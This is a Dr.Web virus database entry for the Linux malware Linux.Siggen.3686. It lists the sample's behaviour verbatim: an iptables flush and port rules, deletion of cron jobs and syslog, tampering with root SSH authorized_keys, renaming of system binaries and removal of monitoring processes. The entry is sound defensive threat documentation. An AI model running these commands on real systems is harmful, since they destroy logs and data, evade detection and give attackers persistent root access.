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Linux.Siggen.3686
Added to the Dr.Web virus database:
2021-02-26
Virus description added:
2021-02-25
Technical Information
Malicious functions:
Gets access to SSH keys
/root/.ssh/authorized_keys
Modifies firewall settings:
iptables -F
iptables -A INPUT -p tcp --dport 1234 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 1234 -j ACCEPT
iptables -A INPUT -p tcp --dport 14444 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 14444 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 8080 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 6379 -j ACCEPT
iptables -A INPUT -p tcp --dport 4444 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 4444 -j ACCEPT
iptables -A OUTPUT -p tcp --destination-port 3333 -j DROP
iptables -A OUTPUT -p tcp --destination-port 5555 -j DROP
iptables -A OUTPUT -p tcp --destination-port 7777 -j DROP
iptables -A OUTPUT -p tcp --destination-port 9999 -j DROP
iptables -A OUTPUT -p tcp --destination-port 14443 -j DROP
Replaces the following system files:
Launches processes:
sh /tmp/c.sh
sync
crontab -r
rm -rf /var/spool/cron/
rm -rf /var/spool/cron/crontabs/
rm -rf /etc/cron.d/*
chattr -iua /tmp/
apt-get install ps
/usr/bin/dpkg --print-foreign-architectures
mv /usr/bin/cd1 /usr/bin/curl
mv /usr/bin/wd1 /usr/bin/wget
rm -rf /var/log/syslog
sysctl -w vm.nr_hugepages=128
chattr -ia /root/.ssh
chattr -ia /root/.ssh/authorized_keys
chmod 700 /root/.ssh/
chmod 777 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
rm -rf /etc/*.sh
rm -rf /etc/svc*
rm -rf /etc/zzh
rm -rf /etc/config.json
ps aux
grep -i [a]liyun
grep -i [y]unjing
userdel akay
userdel vfinder
rm -rf /tmp/c.sh
sh /tmp/e.sh
mv /bin/pkill /bin/pk
mv /bin/killall /bin/kllall
mv /bin/rm /bin/rmm
mv /bin/ps /bin/sspp
chattr -R -ia /var/spool/cron
cp <SAMPLE_FULL_PATH> /var/kingsing
Performs operations with the file system:
Modifies file access rights:
/var/cache/apt/pkgcache.bin.iRbnk1
Creates or modifies files:
/var/a
/tmp/c.sh
/root/dev/null
/etc/sysconfig/selinux
/proc/sys/vm/drop_caches
/proc/sys/kernel/nmi_watchdog
/etc/sysctl.conf
/var/lib/dpkg/lock
/var/cache/apt/pkgcache.bin.iRbnk1
/proc/sys/vm/nr_hugepages
/var/spool/mail/root
/var/mail/root
/var/log/wtmp
/var/log/secure
/root/.bash_history
/tmp/e.sh
/bin/rm
/bin/ps
/bin/pkill
/bin/killall
Deletes files:
/var/spool/cron/.SEQ
/var/spool/cron/crontabs/
/etc/cron.d/*
/var/cache/apt/pkgcache.bin
/var/log/syslog
/etc/*.sh
/etc/svc*
/etc/zzh
/etc/config.json
/tmp/c.sh
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Curing recommendations
Linux
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